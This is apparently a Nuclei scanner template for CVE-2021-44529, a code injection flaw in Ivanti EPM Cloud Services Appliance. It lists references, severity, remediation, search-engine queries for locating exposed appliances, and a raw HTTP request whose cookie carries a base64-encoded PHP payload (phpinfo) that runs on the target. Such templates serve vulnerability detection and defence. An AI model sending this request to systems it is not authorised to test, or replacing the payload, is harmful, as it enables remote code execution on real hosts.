id: CVE-2021-44529

info:
  name: Ivanti EPM Cloud Services Appliance Code Injection
  author: duty_1g,phyr3wall,Tirtha
  severity: critical
  description: Ivanti EPM Cloud Services Appliance (CSA) before version 4.6.0-512 is susceptible to a code injection vulnerability because it allows an unauthenticated user to execute arbitrary code with limited permissions (nobody).
  impact: |
    Successful exploitation of this vulnerability could lead to remote code execution and compromise of the affected system.
  remediation: |
    Apply the latest security patches provided by Ivanti to mitigate this vulnerability.
  reference:
    - https://forums.ivanti.com/s/article/SA-2021-12-02
    - https://twitter.com/Dinosn/status/1505273954478530569
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44529
    - http://packetstormsecurity.com/files/166383/Ivanti-Endpoint-Manager-CSA-4.5-4.6-Remote-Code-Execution.html
    - https://github.com/SYRTI/POC_to_review
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-44529
    cwe-id: CWE-94
    epss-score: 0.94461
    epss-percentile: 0.99994
    cpe: cpe:2.3:a:ivanti:endpoint_manager_cloud_services_appliance:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: ivanti
    product: endpoint_manager_cloud_services_appliance
    shodan-query:
      - title:"LANDesk(R) Cloud Services Appliance"
      - http.title:"landesk(r) cloud services appliance"
    fofa-query: title="landesk(r) cloud services appliance"
    google-query: intitle:"landesk(r) cloud services appliance"
  tags: cve2021,cve,ivanti,epm,csa,injection,packetstorm,kev,vkev,vuln

http:
  - raw:
      - |
        GET /client/index.php HTTP/1.1
        Host: {{Hostname}}
        Cookie: ab=ab; c=cGhwaW5mbygpOw==; d=; e=;

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "phpinfo()"
          - "Cloud Services Appliance"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402206a9d230477aed29c822c35669be5172c2b1cecfa04e615cb2406aa673bb1fe7002201e9d147ce44f27a74f1f420c171c5ffce5115005cca0436fc3a0e611e66ed194:922c64590222798bb761d5b6d8e72950